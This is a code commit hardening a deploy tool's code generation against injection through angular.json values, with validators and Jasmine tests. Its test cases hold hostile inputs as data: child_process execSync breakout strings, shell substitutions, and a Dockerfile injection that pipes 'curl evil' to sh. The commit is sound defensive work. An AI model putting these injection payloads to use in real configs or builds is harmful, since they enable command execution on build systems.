Skip to content

Commit 56541db

Browse files
committed
fix(deploy): prevent code-generation injection from angular.json values
The SSR deploy builders interpolate several angular.json values into generated artifacts that are later executed: a server build target's outputPath into the Cloud Function index.js and the package.json start script, functionName into the exports assignment, region into the .region() call, and functionsNodeVersion into the Cloud Run Dockerfile FROM line. outputPath, functionName and functionsNodeVersion are screened before code generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion); region is escaped structurally with JSON.stringify in the template. functionName is only screened on the Functions path, where it becomes a JavaScript identifier. The functionName and region schema patterns are left to #3726, which already carries stricter versions of both, and the serviceId TODO above the gcloud calls is narrowed to firebaseProject and vpcConnector, since that pattern now covers the service ID. The functionsNodeVersion schema pattern stays here.
1 parent 279d891 commit 56541db

4 files changed

Lines changed: 162 additions & 3 deletions

File tree

src/schematics/deploy/actions.jasmine.ts

Lines changed: 114 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
/* eslint-disable @typescript-eslint/no-empty-function */
22
import { join } from 'path';
3+
import { Script } from 'vm';
34
import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
45
import { JsonObject, logging } from '@angular-devkit/core';
56
import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
6-
import deploy, { deployToFunction } from './actions.js'
7+
import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js'
78
import 'jasmine';
89

910
let context: BuilderContext;
@@ -300,3 +301,115 @@ describe('universal deployment', () => {
300301
expect(spy).not.toHaveBeenCalled();
301302
});*/
302303
});
304+
305+
describe('deploy codegen input validation (injection hardening)', () => {
306+
describe('assertSafeOutputPath', () => {
307+
['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => {
308+
it(`allows the valid outputPath "${p}"`, () => {
309+
expect(assertSafeOutputPath(p, 'proj:server')).toBe(p);
310+
});
311+
});
312+
313+
[`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => {
314+
it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => {
315+
expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/);
316+
});
317+
});
318+
});
319+
320+
describe('assertSafeNodeVersion', () => {
321+
[undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => {
322+
it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => {
323+
expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow();
324+
});
325+
});
326+
327+
['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => {
328+
it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => {
329+
expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/);
330+
});
331+
});
332+
});
333+
334+
describe('assertSafeFunctionName', () => {
335+
[undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => {
336+
it(`allows the valid functionName ${JSON.stringify(n)}`, () => {
337+
expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow();
338+
});
339+
});
340+
341+
[`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => {
342+
it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => {
343+
expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/);
344+
});
345+
});
346+
});
347+
});
348+
349+
// These drive the builders end-to-end so the protection cannot be silently dropped:
350+
// each fails if the corresponding assert call is removed from deployToFunction /
351+
// deployToCloudRun, rather than only exercising the validators in isolation.
352+
describe('deploy codegen hardening is wired into the builders', () => {
353+
beforeEach(() => initMocks());
354+
355+
const withServerOutputPath = (outputPath: string) => ((target: Target) => {
356+
if (target.target === 'build') { return { outputPath: 'dist/browser' }; }
357+
if (target.target === 'server') { return { outputPath }; }
358+
return undefined;
359+
}) as unknown as BuilderContext['getTargetOptions'];
360+
361+
const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`;
362+
363+
it('deployToFunction rejects a hostile server outputPath', async () => {
364+
context.getTargetOptions = withServerOutputPath(EVIL_PATH);
365+
await expectAsync(deployToFunction(
366+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
367+
{ preview: false }, undefined, fsHost
368+
)).toBeRejectedWithError(/Unsafe outputPath/);
369+
});
370+
371+
it('deployToFunction rejects a server outputPath that starts with a dash', async () => {
372+
context.getTargetOptions = withServerOutputPath('-rf');
373+
await expectAsync(deployToFunction(
374+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
375+
{ preview: false }, undefined, fsHost
376+
)).toBeRejectedWithError(/Unsafe outputPath/);
377+
});
378+
379+
it('deployToFunction rejects a functionName that is not a plain identifier', async () => {
380+
await expectAsync(deployToFunction(
381+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
382+
{ preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` },
383+
undefined, fsHost
384+
)).toBeRejectedWithError(/Unsafe functionName/);
385+
});
386+
387+
it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => {
388+
const spy = spyOn(fsHost, 'writeFileSync');
389+
const region = `us-central1'); require('child_process').execSync('id'); ('`;
390+
await deployToFunction(
391+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
392+
{ preview: false, region }, undefined, fsHost
393+
);
394+
const indexJs = spy.calls.argsFor(1)[1] as string;
395+
expect(indexJs).toContain(`.region(${JSON.stringify(region)})`);
396+
// The payload survives only as data inside a string literal: compiling the source
397+
// (without running it) still parses, so nothing broke out of the literal.
398+
expect(() => new Script(indexJs)).not.toThrow();
399+
});
400+
401+
it('deployToCloudRun rejects a hostile server outputPath', async () => {
402+
context.getTargetOptions = withServerOutputPath(EVIL_PATH);
403+
await expectAsync(deployToCloudRun(
404+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
405+
{ preview: false }, undefined, fsHost
406+
)).toBeRejectedWithError(/Unsafe outputPath/);
407+
});
408+
409+
it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => {
410+
await expectAsync(deployToCloudRun(
411+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
412+
{ preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
413+
)).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
414+
});
415+
});

src/schematics/deploy/actions.ts

Lines changed: 46 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
6464

6565
const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
6666

67+
// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
68+
// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
69+
// and into the generated package.json start script (`node <path>/main.js`), both of which
70+
// are later executed. Reject values carrying quotes, backslashes, newlines or shell
71+
// metacharacters, which could break out of that string literal or command, and reject a
72+
// leading dash, which the start script's `node <path>/main.js` would read as a flag.
73+
export const assertSafeOutputPath = (outputPath: string, targetName: string): string => {
74+
if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) {
75+
throw new SchematicsException(
76+
`Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
77+
);
78+
}
79+
return outputPath;
80+
};
81+
82+
// functionName is interpolated raw into the generated Cloud Function source as the
83+
// `exports.<name>` assignment target (functions-templates.ts), which is executed when the
84+
// function loads. Allow only a plain JavaScript identifier so it cannot introduce further
85+
// statements; this also turns a name that would silently produce an unparseable file (for
86+
// example one containing a dash) into an explicit error.
87+
export const assertSafeFunctionName = (functionName: string | undefined): void => {
88+
if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) {
89+
throw new SchematicsException(
90+
`Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.`
91+
);
92+
}
93+
};
94+
95+
// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
96+
// (`FROM node:<version>-slim`), executed during the Cloud Run container build. Restrict it
97+
// to a plain version so it cannot inject extra Dockerfile instructions.
98+
export const assertSafeNodeVersion = (version: string | number | undefined): void => {
99+
if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) {
100+
throw new SchematicsException(
101+
`Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.`
102+
);
103+
}
104+
};
105+
67106
const moveSync = (src: string, dest: string) => {
68107
copySync(src, dest);
69108
removeSync(src);
@@ -178,18 +217,21 @@ export const deployToFunction = async (
178217
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
179218
);
180219
}
220+
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
181221

182222
const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
183223
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
184224
throw new Error(
185225
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
186226
);
187227
}
228+
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
188229

189230
const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
190231
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
191232

192233
const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut);
234+
assertSafeFunctionName(options.functionName);
193235
const functionName = options.functionName || DEFAULT_FUNCTION_NAME;
194236

195237
const newStaticOut = join(functionsOut, staticBuildOptions.outputPath);
@@ -297,13 +339,15 @@ export const deployToCloudRun = async (
297339
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
298340
);
299341
}
342+
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
300343

301344
const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
302345
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
303346
throw new Error(
304347
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
305348
);
306349
}
350+
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
307351

308352
const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
309353
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -336,6 +380,7 @@ export const deployToCloudRun = async (
336380
JSON.stringify(packageJson, null, 2),
337381
);
338382

383+
assertSafeNodeVersion(options.functionsNodeVersion);
339384
fsHost.writeFileSync(
340385
join(cloudRunOut, 'Dockerfile'),
341386
dockerfile(options)
@@ -368,7 +413,7 @@ export const deployToCloudRun = async (
368413
if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout); }
369414
if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); }
370415

371-
// TODO validate serviceId, firebaseProject, and vpcConnector both to limit errors and opp for injection
416+
// TODO validate firebaseProject and vpcConnector both to limit errors and opp for injection
372417

373418
context.logger.info(`📦 Deploying to Cloud Run`);
374419
await spawnAsync(`gcloud builds submit ${cloudRunOut} --tag gcr.io/${options.firebaseProject}/${serviceId} --project ${options.firebaseProject} --quiet`);

src/schematics/deploy/functions-templates.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ require("firebase-functions/logger/compat");
4242
const expressApp = require('./${path}/main').app();
4343
4444
exports.${functionName || DEFAULT_FUNCTION_NAME} = functions
45-
.region('${options.region || DEFAULT_FUNCTION_REGION}')
45+
.region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)})
4646
.runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)})
4747
.https
4848
.onRequest(expressApp);

src/schematics/deploy/schema.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@
5555
},
5656
"functionsNodeVersion": {
5757
"oneOf": [{ "type": "number" }, { "type": "string" }],
58+
"pattern": "^\\d+(\\.\\d+)*$",
5859
"description": "Version of Node.js to run Cloud Functions / Run on"
5960
},
6061
"CF3v2": {

0 commit comments

Comments
 (0)